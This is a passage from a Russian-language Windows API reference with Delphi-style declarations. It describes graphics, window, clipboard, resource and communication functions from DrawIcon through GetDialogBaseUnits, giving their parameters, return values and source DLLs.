DC: Идентификатор контекста устройства. Rect: Рисуемый прямоугольник.Функция находится в файле user32.dll.
Функция DrawIcon
Описание:
function DrawIcon(DC: HDC; X, Y: Integer; Icon: HIcon): Bool; |
Рисует пиктограмму.
Параметры:
DC: Идентификатор контекста устройства. X, Y: Верхний левый угол пиктограммы. Icon: Рисуемая пиктограмма.Возвращаемое значение:
Не нуль - в случае успешного завершения; 0 - в противном случае.
Функция находится в файле user32.dll.
Функция DrawMenuBar
Описание:
function DrawMenuBar(Wnd: HWnd); |
Вновь рисует строку меню окна. Используется, если строка меню изменялась после создания окна.
Параметры:
Wnd: Идентификатор окна.Функция находится в файле user32.dll.
Функция DrawText
Описание:
function DrawText(DC: HDC; Str: PChar; Count: Integer; var Rect: TRect; Format: Word): Integer; |
Рисует форматированный текст. Тип форматирования указывается параметром Format. Если не указано явно dt_NoClip, текст вырезается в ограничивающий прямоугольник.
Параметры:
DC: Идентификатор контекста устройства. Str: Рисуемая строка. Если Count=-1, то должна заканчиваться пустым символом. Rect: TRect, ограничивающий текст. Format: Одна или несколько констант: dt_Bottom, dt_CalcRect, dt_Center, dt_ExpandTabs, dt_ExternalLeading, dt_Left, dt_NoClip, dt_NoPrefix, dt_Right, dt_SingleLine, dt_TabStop, dt_Top, dt_VCenter и dt_WordBreak. См. раздел "Флаги форматирования текста при рисовании, dt_" в главе 1.Возвращаемое значение:
Высота текста.
Функция находится в файле user32.dll.
Функции Win32 API [ E ].
Функция Ellipse Описание: function Ellipse(DC: HDC, X1, Y1, X2, Y2: Integer): Bool; Рисует эллипс, центрированный в ограничивающем прямоугольнике, граница которого нарисована текущим пером и заполнена текущей кистью Параметры: DC: Идентификатор контекста устройства. X1, Y1: Верхний левый угол ограничивающего прямоугольника. X2, Y2: Правый нижний угол ограничивающего прямоугольника. Возвращаемое значение: Не нуль, если эллипс нарисован; нуль - в противном случае. функция находится в файле gdi32.dllФункция EmptyClipBoard Описание: function EmptyClipBoard: Bool; Делает пустым буфер вырезанного изображения и освобождает описатели данных в буфере вырезанного изображения. Владение приписывается окну, имеющему открытый буфер вырезанного изображения. Возвращаемое значение: Не нуль, если буфер вырезанного изображения опустошен; нуль - если ошибка. функция находится в файле user32.dll.
Функция EnableHardwareInput Описание: function EnableHardwareInput(EnableInput: Bool): Bool; Блокирует ввод с мыши или с клавиатуры, сохраняя или уничтожая ввод в соответствии со значением параметра EnableInput. Параметры: EnableInput: Если ввод нужно сохранять, то не нуль; если ввод нужно уничтожать (игнорировать), то нуль. Возвращаемое значение: Не нуль (по умолчанию), если ввод был ранее разрешен; нуль - в противном случае.
Функция EnableMenuItem Описание: function EnableMenuItem(Menu: HMenu; IDEnableItem, Enable: Word): Bool; Разрешает, блокирует или затеняет элемент меню в соответствии со значением параметра Enable. Параметры: Menu: Идентификатор меню. IDEnableItem: Идентификатор или позиция элемента меню или помечаемый всплывающий элемент. Enable: Комбинация констант mf_Command или mf_ByPosition с mf_Disabled, mf_Enabled или mf_Grayed. См. раздел "Флаги меню, mf_" в главе 1. Возвращаемое значение: Предыдущее состояние элемента меню; -1, если элемент не существует. функция находится в файле user32.dll.
Функция EnableWindow Описание: function EnableWindow(Wnd: HWnd; Enable: Bool): Bool; Разрешает или блокирует ввод с мыши и с клавиатуры в окно или в орган управления. Параметры: Wnd: Блокируемое или разблокируемое окно. Enable: Не нуль для разрешения; нуль - для блокирования. Возвращаемое значение: Не нуль - в случае успешного завершения; 0 - в противном случае. функция находится в файле user32.dll.
Функция EndDeferWindowPos Описание: function EndDeferWindowPos(NumWindows: Integer): THandle; Одновременно обновляет в одном цикле актуализации экрана размер и позицию одного или нескольких окон. Параметры: WinPosInfo: Структура данных об окнах, содержащая информацию обновления для нескольких окон. См. также: DeferWindowPos, BeginDeferWindowPos функция находится в файле user32.dll.
Функция EndDialog Описание: function EndDialog(Dlg: Hwnd; Result: Integer); Терминирует модальный блок диалога. Значение, указанное параметром Result, возвращается в создающую функцию DialogBox. Параметры: Dlg: Уничтожаемый диалог. Result: Возвращаемое значение. функция находится в файле user32.dll.
Функция EndPaint Описание: function EndPaint(Wnd: Hwnd; var Paint: TPaintStruct); Указывает конец раскраски в Wnd. Параметры: Wnd: Перекрашиваемое окно. Paint: Структура TPaintStruct, полученная из функции BeginPaint. функция находится в файле user32.dll.
Функция EnumChildWindows Описание: function EnumChildWindows(WndParent: HWnd; EnumFunc: TFarProc; lparam: Longint): Bool; Перечисляет дочерние окна указанного родителя, передавая дочерний описатель и lParam функции обратного вызова. Перечисление заканчивается, если функция обратного вызова возвращает нуль или если перечисляется последний дочерний элемент. Параметры: WndParent: Родительское окно перечисляемых дочерних окон. EnumFunc: Адрес экземпляра процедуры функции обратного вызова. lParam: Значение, переданное функции обратного вызова. Возвращаемое значение: Не нуль, если перечислены все дочерние окна; 0 - в противном случае. функция находится в файле user32.dll.
Функция EnumClipboardFormats Описание: function EnumClipboardFormats(Format: Word): word; Перечисляет список имеющихся форматов буфера вырезанного изображения. Параметры: Format: Известный формат или нуль для первого формата в списке. Форматы указываются константами cf_. См. раздел "Форматы буфера вырезанного изображения, cf_" в главе 1. Возвращаемое значение: Следующий известный формат буфера вырезанного изображения; нуль, если список форматов или буфер вырезанного изображения не открыт. См. также: OpenClipboard функция находится в файле user32.dll.
Функция EnumFonts Описание: function EnumFonts(DC: HDC; FaceName: PChar; FontFunc: TFarProc; Data: Pointer): Integer; Перечисляет возможные шрифты, имеющие указанный вид литер на заданном устройстве. Функции обратного вызова передаются TLogFont, TTextMetric, FontType и Data. Перечисление заканчивается, если функция обратного вызова возвращает нуль или если перечислены все шрифты. Параметры: DC: Идентификатор контекста устройства. FaceName: Имя набора литер (заканчивающееся пустым символом) или nil для произвольного выбора одного шрифта для каждого имеющегося вида литер. FontFunc: Адрес экземпляра процедуры функции обратного вызова. Data: Данные, переданные функции обратного вызова. Возвращаемое значение: Последнее значение, возвращенное функцией обратного вызова. функция находится в файле gdi32.dll.
Функция EnumMetaFile Описание: function EnumMetaFile(DC: HDC; MF: THandle; CallbackFunc: TFarProc; ClientData: LPByte): Bool; Перечисляет вызовы интерфейса GDI в метафайле,передавая функции обратного вызова DC, указатель на таблицу описателей объектов метафайла, указатель на запись в метафайле, число объект с соответствующими описателями в таблице и ClientData. Перечисление заканчивается, если функция обратного вызова возвращает нуль или если перечислены все вызовы интерфейса GDI. Параметры: DC: Контекст устройства, связанный с метафайлом. MF: Идентификатор метафайла. CallbackFunc: Адрес экземпляра процедуры функции обратного вызова. ClientData: Данные, переданные функции обратного вызова. Возвращаемое значение: Не нуль, если перечислены все вызовы интерфейса GDI в метафайле; нуль - если нет. функция находится в файле gdi32.dll.
Функция EnumObjects function EnumObjects(DC: HDC, ObjectType: Integer; ObjectFunc: TFarProc; Data: Pointer):Integer; Перечисляет типы объектов, возможные на устройстве, передавая функции обратного вызова TLogPen или TLogBrush и Data. Перечисление заканчивается, если функция обратного вызова возвращает нуль или если перечислены все объекты. Параметры: DC: Идентификатор контекста устройства. ObjectType: Может быть либо obj_Brush или obj_Pen. См. раздел "Константы типов объектов, obj_" в главе 1 ObjectFunc: Адрес экземпляра процедуры функции обратного вызова. Data: Данные, переданные функции обратного вызова. Возвращаемое значение: Последнее значение, возвращенное функцией обратного вызова. функция находится в файле gdi32.dll.
Функция EnumProps Описание: function EnumProps(Wnd: HWnd; EnumFunc: TFarProc): Integer; Перечисляет список свойств окна, передавая функции обратного вызова Wnd, nDummy, PSTR и hData. Перечисление заканчивается, если функция обратного вызова возвращает нуль или если перечислены все свойства. Параметры: Wnd: Идентификатор окна. EnumFunc: Адрес экземпляра процедуры функции обратного вызова. Возвращаемое значение: Последнее значение, возвращенное функцией обратного вызова; -1, если свойства отсутствуют. функция находится в файле user32.dll.
Функция EnumTaskWindows Описание: function EnumTaskWindows(Task: THandle; EnumFunc: TFarProc, lParam: Longint): Bool; Перечисляет все окна в задаче, передавая функции обратного вызова описатель окна и lParam. Перечисление заканчивается, если функция обратного вызова возвращает нуль или если перечислены все окна. Параметры: Task: Идентификатор задачи. EnumFunc: Адрес экземпляра процедуры функции обратного вызова. lParam: Значение, переданное функции обратного вызова. Возвращаемое значение: Не нуль, если перечислены все окна; 0 - в противном случае. См. также: GetCurrentTask.
Функция EnumWindows Описание: function EnumWindows(EnumFunc: TFarProc, lParam: Longint): Bool; Перечисляет все родительские окна на экране, передавая функции обратного вызова описатель окна и lParam. Перечисление заканчивается, если функция обратного вызова возвращает нуль или если перечислены все окна. Параметры: EnumFunc: Адрес экземпляра процедуры функции обратного вызова. lParam: Значение, переданное функции обратного вызова. Возвращаемое значение: Не нуль, если перечислены все окна; 0 - в противном случае. функция находится в файле user32.dll.
Функция EqualRect Описание: function EqualRect(var Rect1, Rect2: TRect): Bool; Сравнивает верхний левый и правый нижний углы двух прямоугольников на равенство. Параметры: Rect1, Rect2: Сравниваемые прямоугольники. Возвращаемое значение: Не нуль, если равны; 0 - в противном случае. функция находится в файле user32.dll.
Функция EqualRgn Описание: function EqualRgn(ScrRgn1, ScrRgn2: HRgn): Bool; Сравнивает две области на равенство. Параметры: ScrRgn1, ScrRgn2: Сравниваемые области. Возвращаемое значение: Не нуль, если равны; 0 - в противном случае. функция находится в файле gdi32.dll.
Функция Escape Описание: function Escape(DC: HDC; Escape, Count: Integer; InData, OutData: Pointer): Integer; Разрешает доступ к возможностям устройства, не поддерживаемым интерфейсом GDI. Параметры: DC: Идентификатор контекста устройства. Escape: функция Escape. Count: Число байт данных в InData. OutData: Структура для приема выходных данных функции Escape или nil в случае отсутствия выходных данных. Возвращаемое значение: Положительное число в случае успешного завершения; нуль, если переключение не реализовано и отрицательное число в случае ошибки. Если имеет место ошибка, то может быть один из следующих кодов: sp_Error, sp_OutOfDisk, sp_OutOfMemory, sp_UserAbort. См. главу 1. функция находится в файле gdi32.dll.
Функция EscapeCommFunction Описание: function EscapeCommFunction(Cid, Func: Integer): Integer; Выполняет на устройстве связи расширенную функцию, указанную параметром Func. Параметры: Cid: Устройство связи. Func: Одна из следующих констант: ClrDTR, ClrRTS, ResetDev, SetDTR, SetRTS, SetXoff, SetXon. См. раздел "Константы переключения связи" в главе 1. Возвращаемое значение: Нуль в случае успешного завершения; отрицательное число, если указан неверный код функции. См. также: OpenComm функция находится в файле kernel32.dll.
Функция ExcludeClipRect Описание: function ExcludeClipRect(DC: HDC; X1, Y1, X2, Y2: Integer): Integer; Создает новую вырезающую область, состоящую из имеющейся области минус указанный прямоугольник. Параметры: DC: Идентификатор контекста устройства. X1, Y1: Верхний левый угол прямоугольника. X2, Y2: Нижний правый угол прямоугольника. Возвращаемое значение: Тип новой области: ComplexRegion, Error, NullRegion, SimpleRegion. См. раздел "Флаги областей" в главе 1. функция находится в файле gdi32.dll.
Функция ExcludeUpdateRgn Описание: function ExcludeUpdateRgn(DC: HDC; Wnd: HWnd): Integer; Исключает обновленную область окна из вырезающей области, что препятствует рисованию внутри неверных областей окна. Параметры: DC: Идентификатор контекста устройства. Wnd: Обновляемое окно. Возвращаемое значение: Тип новой области: ComplexRegion, Error, NullRegion, SimpleRegion. См. раздел "Флаги областей" в главе 1. функция находится в файле user32.dll.
Функция ExitWindows Описание: function ExitWindows(Reserved: DWord; ReturnCode: Word): Bool; Инициирует стандартную процедуру завершения работы с Windows. Все прикладные задачи должны подтвердить завершение работы Windows. Вызывает функцию 4CH прерывания 21H DOS. Параметры: Reserved: Установлен в нуль. ReturnCode: Значение, передаваемое в DOS (в регистре AL). Возвращаемое значение: Нуль, если одна или несколько задач отказываются завершить работу. См. также: wm_QueryEndSession, wm_EndSession.
Функция ExtFloodFill Описание: function ExtFloodFill(DC: HDC, X, Y: Integer; Color: TColorRef; FillType: Word): Bool; Заполняет область поверхности растрового дисплея описанным в параметре FillType образом. Используется текущая кисть. Параметры: DC: Идентификатор контекста устройства. X, Y: Точка начала заполнения. Color: TColorRef заполняемой области или границы. FillType: Одна из констант: FloodFillBorder, FloodFillSurface. См. раздел "Флаги стиля сплошного заполнения" в главе 1. Возвращаемое значение: Не нуль в случае успешного завершения; нуль - в противном случае. См. также: FloodFill функция находится в файле gdi32.dll.
Функция ExtTextOut Описание: function ExtTextOut(DC: HDC, X, Y: Integer; Options: Word; Rect: LPRect; Str: PChar; Count: Word; Dx: LPInteger): Bool; Записывает строку, используя текущий выбранный шрифт, внутри Rect. Параметры: DC: Идентификатор контекста устройства. X, Y: Начало ячейки первого символа. Options: Может быть комбинацией eto_Clipped и eto_Opaque. См. раздел "Параметры вывода текста, eto_" в главе 1. ARect: TRect или nil. Str: Записываемая строка. Count: Число символов в строке. Dx: Массив значений, определяющих расстояния между соседними ячейками, или 0 в случае стандартного расстояния. Возвращаемое значение: Не нуль, если строка нарисована; нуль - если нет. См. также: SetTextAlign функция находится в файле gdi32.dll.
Функции Win32 API [ F ].
Функция FataExit Описание: function FataExit(Code: Integer); Выводит код и направляет трассировку на вспомогательный порт компьютера. Пользователю задается вопрос о дальнейших действиях. Используется только для задач отладки. Параметры: Code: Отображаемый код ошибки.Функция FillRect Описание: function FillRect(DC: HDC, var Rect: TRect; Brush: HBrush): Integer; Заполняет прямоугольник, используя кисть Brush, до правой и нижней границ. Параметры: DC: Идентификатор контекста устройства. Rect: Заполняемый TRect. Brush: Кисть заполнения. Возвращаемое значение: Не используется. См. также: CreateHatchBrush, CreatePatternBrush, CreateSolidBrush, GetStockObject функция находится в файле user32.dll.
Функция FillRgn Описание: function FillRgn(DC: HDC, Rgn: HRgn; Brush: HBrush): Bool; Заполняет область, используя кисть Brush. Параметры: DC: Идентификатор контекста устройства. Rgn: Заполняемая область. Brush: Кисть заполнения. Возвращаемое значение: Не нуль в случае успешного завершения; нуль - в противном случае. функция находится в файле gdi32.dll.
Функция FindAtom Описание: function FindAtom(Str: PChar): Atom; Ищет в таблице атомов атом, связанный с Str. Параметры: Str: Строка поиска. Возвращаемое значение: Атом, связанный с Str; 0 - если атом в таблице не найден. функция находится в файле kernel32.dll.
Функция FindResource Описание: function FindResource(Instance: THandle; Name, ResType: PChar): THandle; Находит ресурс в файле ресурсов. Параметры: Instance: Экземпляр модуля, исполнимый файл которого содержит ресурс. Name: Имя ресурса либо строка, заканчивающаяся пустым символом, или целочисленный идентификатор. ResType: Одна из следующих констант, указывающая тип ресурса: rt_Accelerator, rt_Bitmap, rt_Cursot, rt_Dialog, rt_Font, rt_FontDir, rt_Icon, rt_Menu, rt_RCData, rt_String, строка, заканчивающаяся пустым символом, или целочисленный идентификатор. См. раздел "Типы ресурсов, rt_" в главе 1. Возвращаемое значение: Идентификатор ресурса; 0 - если ресурс не найден. функция находится в файле kernel32.dll.
Функция FindWindow Описание: function FindWindow(ClassName, WindowName: PChar): HWnd; Находит родительское окно верхнего уровня с совпадающими ClassName и WindowName. Не осуществляет поиск дочерних окон. Параметры: ClassName: Имя класса окна (заканчивающееся пустым символом, nil - если все классы). WindowName: Текстовый заголовок окна или 0, если все окна. Возвращаемое значение: Описатель окна; 0 - если такого окна нет. функция находится в файле user32.dll.
Функция FlashWindow Описание: function FlashWindow(Wnd: HWnd; Invert: Bool): Bool; Делает окно или пиктограмму мигающими. Активное состояние открытого окна инвертируется. Параметры: Wnd: Окно, которое делается мигающим. Invert: Не нуль, если мигание, 0 - для возврата к исходному состоянию (для пиктограмм игнорируется). Возвращаемое значение: Не нуль, если окно до вызова было активным; 0 - в противном случае. функция находится в файле user32.dll.
Функция FloodFill Описание: function FloodFill(DC: HDC; X, Y: Integer; Color: TColorRef): Bool; Заполняет область отображения текущей кистью, ограниченной Color. Параметры: DC: Идентификатор контекста устройства. X, Y: Позиция начала заполнения. Color: Цвет границы, TColorRef. Возвращаемое значение: Не нуль в случае успешного завершения; 0 - в противном случае. функция находится в файле gdi32.dll.
Функция FlushComm Описание: function FlushComm(Cid, Queue: Integer): Integer; Очищает очередь приема или передачи устройства связи. Параметры: Cid: Очищаемое устройство связи. Queue: 0 - если очищается очередь передачи; 1 - если очищается очередь приема. Возвращаемое значение: Нуль в случае успешного завершения; 0 - противном случае. См. также: OpenComm.
Функция FrameRect Описание: function FrameRect(DC: HDC; var Rect: TRect; Brush: HBrush); Рисует вокруг прямоугольника границу шириной в одну логическую единицу. Параметры: DC: Идентификатор контекста устройства. Rect: TRect, определяющий углы прямоугольника. Brush: Кисть для рисования рамки. См. также: CreateHatchBrush, CreatePatternBrush, CreateSolidBrush функция находится в файле user32.dll.
Функция FrameRgn Описание: function FrameRgn(DC: HDC; Rgn: HRgn; Brush: HBrush; Width, Height: Integer): Bool; Рисует границу вокруг области. Параметры: DC: Идентификатор контекста устройства. Rgn: Очерчиваемая область. Brush: Кисть для рисования рамки. Width: Ширина границы в мазках кисти по вертикали (логические единицы). Height: Высота границы в мазках кисти по горизонтали (логические единицы). Возвращаемое значение: Не нуль - в случае успешного завершения; 0 - в противном случае. функция находится в файле gdi32.dll.
Функция FreeLibrary Описание: function FreeLibrary(LibModule: THandle); Делает недействительным LibModule и освобождает связанную с ним память, если модуль больше не адресуется. Параметры: LibModule: Загруженный библиотечный модуль. функция находится в файле kernel32.dll.
Функция FreeModule Описание: function FreeModule(Module: THandle): Bool; Делает недействительным Module и освобождает связанную с ним память, если модуль больше не адресуется. Параметры: Module: Идентификатор загруженного модуля. Возвращаемое значение: Не используется.
Функция FreeProcInstance Описание: function FreeProcInstance(Proc: TFarProc); Освобождает адрес экземпляра процедуры функции. Параметры: Proc: Освобождаемый адрес экземпляра процедуры функции. См. также: MakeProcInstance.
Функция FreeResource Описание: function FreeResource(ResData: THandle): Bool; Делает недействительным ResData и освобождает связанную с ним память, если ресурс больше не адресуется. Параметры: ResData: Идентификатор ресурса данных. Возвращаемое значение: Нуль в случае успешного завершения; не нуль - в противном случае. См. также: LoadResource функция находится в файле kernel32.dll.
Функции Win32 API [ G ].
Функция GetActiveWindow Описание: function GetActiveWindow: HWnd; Отыскивает описатель окна, которое имеет текущий фокус ввода. Возвращаемое значение: Идентификатор активного окна. См. также: SetActiveWindow функция находится в файле user32.dllФункция GetAspectRatioFilter Описание: function GetAspectRatioFilter(DC: HDC): Longint; Отыскивает отношение аспектов, используемое текущим фильтром отношений аспектов. Параметры: DC: Контекст устройства, содержащий указанное отношение аспектов. Возвращаемое значение: Отношение аспектов, где координаты X и Y содержатся в старшем и младшем слове, соответственно. См. также: SetMapperFlags.
Функция GetAsyncKeyState Описание: function GetAsyncKeyState(Key: Integer): Integer; Определяет состояние виртуальной клавиши. Параметры: Key: Код виртуальной клавиши. Возвращаемое значение: Если установлен старший байт, клавиша Key находится в нажатом положении, а если младший - то клавиша Key была нажата после предыдущего вызова функции. функция находится в файле user32.dll.
Функция GetAtomHandle Описание: function GetAtomHandle(AnAtom: TAtom): THandle; Находит строку, соответствующую указанному атому. Параметры: AnAtom: Идентификатор атома. Возвращаемое значение: Описатель строки атома в локальной памяти; 0 - если атом не существует.
Функция GetAtomName Описание: function GetAtomName(AnAtom: TAtom, Buffer: PChar; Size: Integer): Word; Копирует связанную строку атома в Buffer. Параметры: AnAtom: Идентификатор атома. Buffer: Буфер для приема строки атома. Size: Размер буфера в байтах. Возвращаемое значение: Число байт, скопированных в Buffer; 0 - если указан неверный атом. функция находится в файле kernel32.dll.
Функция GetBitmapBits Описание: function GetBitmapBits(Bitmap: HBitmap; Count: Longint; Bits: Pointer): Longint; Копирует биты карты бит в Bits. Параметры: Bitmap: Идентификатор карты бит. Count: Размер Bits в байтах. Bits: Массив байт, подобный структуре, в которой строки горизонтальной развертки кратны 16 битам. Возвращаемое значение: Фактическое число байт в карте бит; 0 - если ошибка. функция находится в файле gdi32.dll.
Функция GetBitmapDimension Описание: function GetBitmapDimension(Bitmap: HBitmap): Longint; Считывает высоту и ширину карты бит. Параметры: Bitmap: Идентификатор карты бит. Возвращаемое значение: Высота и ширина (в десятых долях миллиметра) в старшем и младшем слове, соответственно. См. также: SetBitmapDimension.
Функция GetBkColor Описание: function GetBkColor(DC: HDC): Longint; Считывает цвет фона контекста устройства. Параметры: DC: Идентификатор контекста устройства. Возвращаемое значение: Значение цвета RGB. функция находится в файле gdi32.dll.
Функция GetBkMode Описание: function GetBkMode(DC: HDC): Longint; Считывает режим фона текущего устройства, используемый для текста, шриховочных кистей и стилей пера при рисовании несплошных линий. Параметры: DC: Идентификатор контекста устройства. Возвращаемое значение: Одна из констант: Opaque или Transparent. См. раздел "Режимы фона" в главе 1. функция находится в файле gdi32.dll.
Функция GetBrushOrg Описание: function GetBrushOrg(DC: HDC): Longint; Считывает начало кисти текущего устройства. Параметры: DC: Идентификатор контекста устройства. Возвращаемое значение: Координаты X и Y в младшем и старшем слове, соответственно.
Функция GetBValue Описание: function GetBValue(RGBColor: Longint): Byte; Выделяет значение интенсивности синего из значения цвета RGB. Параметры: RGBColor: Значение цвета RGB. Возвращаемое значение: Значение интенсивности синего, от 0 до 255.
Функция GetCapture Описание: function GetCapture: HWnd; Отыскивает окно, которое в настоящий момент принимает весь ввод с мыши. Возвращаемое значение: Окно, которое имеет заголовок мыши; 0 - если окно отсутствует. См. также: SetCapture функция находится в файле user32.dll.
Функция GetCaretBlinkTime Описание: function GetCaretBlinkTime: Word; Определяет мерцание вставки (время между ее миганиями). Возвращаемое значение: Скорость мерцания (в миллисекундах). функция находится в файле user32.dll.
Функция GetCaretPos Описание: function GetCaretPos(var Point: TPoint); Определяет текущее положение вставки (в координатах пользователя). Параметры: Point: Принимающая структура TPoint. функция находится в файле user32.dll.
Функция GetCharWidth Описание: function GetCharWidth(DC: HDC; FirstChar, LastChar: Word; var Buffer): Bool; Определяет индивидуальные размеры символов (ширину) для указанной группы последовательных символов. Параметры: DC: Идентификатор контекста устройства. FirstChar: Первый символ в группе последовательных символов. LastChar: Последний символ в группе последовательных символов. Buffer: Принимающий целочисленный массив для значений ширины. Возвращаемое значение: Не нуль в случае успешного завершения; 0 - в противном случае. функция находится в файле gdi32.dll.
Функция GetClassInfo Описание: function GetClassInfo(Instance: THandle; ClassInfo: PChar; var WndClass: TWndClass): Bool; Определяет информацию о классе для конкретного класса. Поля lpszClassName, lpszMenuName и hInstance структуры TWndClass не возвращаются. Параметры: Instance: Экземпляр прикладной задачи, создавшей класс, или 0 для предопределенного класса Windows. ClassName: Имя класса (заканчивающееся пустым символом) или идентификатор. WndClass: Структура TWndClass для приема информации о классе. Возвращаемое значение: Не нуль в случае успешного завершения; 0 - если совпадающий класс не найден. функция находится в файле user32.dll.
Функция GetClassLong Описание: function GetClassLong(Wnd: HWnd; Index: Integer): Longint; Считывает из структуры окна TWndClass со смещением Index длинное значение. Положительные смещения в байтах (с нуля) используются для доступа к дополнительным байтам класса. Параметры: Wnd: Идентификатор окна. Index: Смещение в байтах или константа gcl_WndProc. См. раздел "Смещение полей класса, gcl_" в главе 1. Возвращаемое значение: Считанное значение. функция находится в файле user32.dll.
Функция GetClassName Описание: function GetClassName(Wnd: HWnd; ClassName: PChar; MaxCount: Integer): Integer; Считывает имя класса окна. Параметры: Wnd: Идентификатор окна. ClassName: Буфер для приема имени класса. MaxCount: Размер буфера Возвращаемое значение: Фактическое число скопированных символов; 0 - если ошибка. функция находится в файле user32.dll.
Функция GetClassWord Описание: function GetClassWord(Wnd: HWnd; Index: Integer): Longint; Считывает из структуры окна TWndClass со смещением Index значение длиной в слово. Положительные смещения в байтах (с нуля) используются для доступа к дополнительным байтам класса. Параметры: Wnd: Идентификатор окна. Index: Смещение в байтах или константа gcw_CBClsExtra, gcw_CBWndExtra, gcw_HBrBackground, gcw_HCursor, gcw_HIcon, gcw_HModule, gcw_Style. См. раздел "Смещение полей класса, gcw_" в главе 1. Возвращаемое значение: Считанное значение. функция находится в файле user32.dll.
Функция GetClientRect Описание: function GetClientRect(Wnd: HWnd; var Rect: TRect); Считывает координаты пользователя окна. Параметры: Wnd: Идентификатор окна. Rect: Структура TRect для приема координат пользователя. функция находится в файле user32.dll.
Функция GetClipboardData Описание: function GetClipboardData(Format: Word): THandle; Считывает данные буфера вырезанного изображения в указанном формате. Возвращаемый блок памяти контролируется буфером вырезанного изображения. Параметры: Format: Формат данных буфера вырезанного изображения. Одна из констант cf_. См. раздел "Форматы буфера вырезанного изображения, cf_" в главе 1. Возвращаемое значение: Блок памяти, содержащий данные буфера вырезанного изображения; 0 - если ошибка. См. также: SetClipboardData функция находится в файле user32.dllФункция GetClipboardFormatName Описание: function GetClipboardFormatName(Format: Word; FormatName: PChar; MaxCount: Integer): Integer; Считывает из буфера вырезанного изображения имя зарегистрированного формата. Параметры: Format: Формат буфера вырезанного изображения. Одна из констант cf_. См. раздел "Форматы буфера вырезанного изображения, cf_" в главе 1. FormatName: Принимающий буфер. MaxCount: Размер буфера. Возвращаемое значение: Фактическая длина скопированной строки; 0 - если указан неверный формат. функция находится в файле user32.dll.
Функция GetClipboardOwner Описание: function GetClipboardOwner: HWnd; Считывает окно, владеющее буфером вырезанного изображения. Возвращаемое значение: Окно владельца; 0 - если владелец отсутствует. функция находится в файле user32.dll.
Функция GetClipboardViewer Описание: function GetClipboardViewer: HWnd; Считывает первое окно в цепочке просмотра буфера вырезанного изображения. Возвращаемое значение: Окно, отвечающее в данный момент за отображение буфера; 0 - если просмотра нет. функция находится в файле user32.dll.
Функция GetClipBox Описание: function GetClipBox(DC: HDC; var Rect: TRect): Integer; Считывает самый внутренний ограничивающий прямоугольник вокруг текущей области вырезания. Параметры: DC: Идентификатор контекста устройства. Rect: Принимающая структура TRect. Возвращаемое значение: Тип области вырезания: ComplexRegion, NullRegion или SimpleRegion. См. раздел "Флаги областей" в главе 1. функция находится в файле gdi32.dll.
Функция GetCodeHandle Описание: function GetCodeHandle(Proc: TFarProc): THandle; Считывает сегмент кодов (при необходимости загружая его), который содержит указанную функцию. Параметры: Proc: Адрес экземпляра процедуры функции. Возвращаемое значение: Сегмент кодов, содержащий функцию.
Функция GetCodeInfo Описание: function GetCodeInfo(Proc: TFarProc, SegInfo: Pointer); Считывает информацию о сегменте кодов, содержащем Proc. Параметры: Proc: Адрес функции или описатель модуля и номер сегмента. SegInfo: Массив из четырех 32-битовых значений. Возвращаемое значение: Сегмент кодов, содержащий функцию.
Функция GetCommError Описание: function GetCommError(Cid: Integer; var Stat: TComStat): Integer; Сбрасывает ошибку устройства связи. Параметры: Cid: Устройство связи. Stat: Структура TComStat для приема информации о состоянии устройства или nil. Возвращаемое значение: Один из следующих кодов ошибки: ce_Break, ce_CTSTo, ce_DNS, ce_DSRTo, ce_Frame, ce_IOE, ce_Mode, ce_OOP, ce_Overrun, ce_PTO, ce_RLSDTO, ce_RxOver, ce_RxParity, ce_TxFull. См. раздел "Флаги ошибок связи, ce_" в главе 1. См. также: OpenComm.
Функция GetCommEventMask Описание: function GetCommEventMask(Cid, EvtMask: Integer): Word; Считывает текущую маску события устройства, а затем очищает ее. Параметры: Cid: Устройство связи. EvtMask: Разрешаемые события. Возвращаемое значение: Значение текущей маски события. См. также: OpenComm, SetCommEventMask.
Функция GetCommState Описание: function GetCommState(Cid: Integer; var DCB : TDCB): Integer; Считывает блок управления устройством. Параметры: Cid: Устройство связи. TDCB: Структура TDCB для приема текущего блока управления устройством. Возвращаемое значение: Нуль в случае успешного завершения; отрицательное - в противном случае. См. также: OpenComm функция находится в файле kernel32.dll.
Функция GetCurrentPDB Описание: function GetCurrentPDB: Word; Считывает текущую программную базу данных DOS, которая известна также как префикс сегмента программ. Возвращаемое значение: Адрес текущего параграфа PDB или селектор.
Функция GetCurrentPosition Описание: function GetCurrentPosition(DC: HDC): Longint; Считывает логические координаты текущей позиции. Параметры: DC: Идентификатор контекста устройства. Возвращаемое значение: Координаты X и Y в младшем и старшем слове, соответственно.
Функция GetCurrentTask Описание: function GetCurrentTask: THandle; Считывает описатель текущей выполняющейся задачи. Возвращаемое значение: В случае успешного завершения возвращается описатель задачи; 0 - в противном случае.
Функция GetCurrentTime Описание: function GetCurrentTime: Longint; Считывает время, прошедшее с момента перезагрузки системы. Возвращаемое значение: Текущее время (в миллисекундах).
Функция GetCursorPos Описание: function GetCursorPos(var Point: TPoint); Считывает экранные координаты текущего положения курсора. Параметры: Point: Принимающая структура TPoint. функция находится в файле user32.dll.
Функция GetDC Описание: function GetDC(Wnd: HWnd): HDC; Считывает контекст дисплея для выполнения операций интерфейса GDI в области пользователя окна. Параметры: Wnd: Идентификатор окна. Возвращаемое значение: Идентификатор контекста устройства; 0 - в случае ошибки. См. также: ReleaseDC функция находится в файле user32.dll.
Функция GetDCOrg Описание: function GetDCOrg(DC: HDC): Longint; Считывает точку отсчета окончательного перевода (в координатах экрана), которая представляет смещение, используемое Windows для перевода координат устройства в координаты пользователя. Параметры: DC: Идентификатор контекста устройства. Возвращаемое значение: Координаты X и Y в младшем и старшем слове, соответственно.
Функция GetDesktopWindow Описание: function GetDesktopWindow: HWnd; Считывает описатель окна окна рабочей области Windows. Возвращаемое значение: Идентификатор окна рабочей области Windows. функция находится в файле user32.dll.
Функция GetDeviceCaps Описание: function GetDeviceCaps(DC: HDC; Index: Integer): Integer; Считывает с дисплея характерную для устройства информацию. Параметры: DC: Идентификатор контекста устройства. Index: Возвращаемый элемент. См. раздел "Возможности устройства" в главе 1. Возвращаемое значение: Нужное значение элемента. функция находится в файле gdi32.dll.
Функция GetDialogBaseUnits Описание: function GetDialogBaseUnits: Longint; Считывает базовые единицы диалога. Базовая ширина представляет среднюю ширину системного шрифта. Фактическая единица диалога составляет 1/4 и 1/8 возвращенной базовой единицы ширины и высоты, соответственно. Возвращаемое значение: Базовые единицы ширины и высоты (в элементах изображения) в старшем и младшем слове, соответственно. функция находится в файле user32.dll.
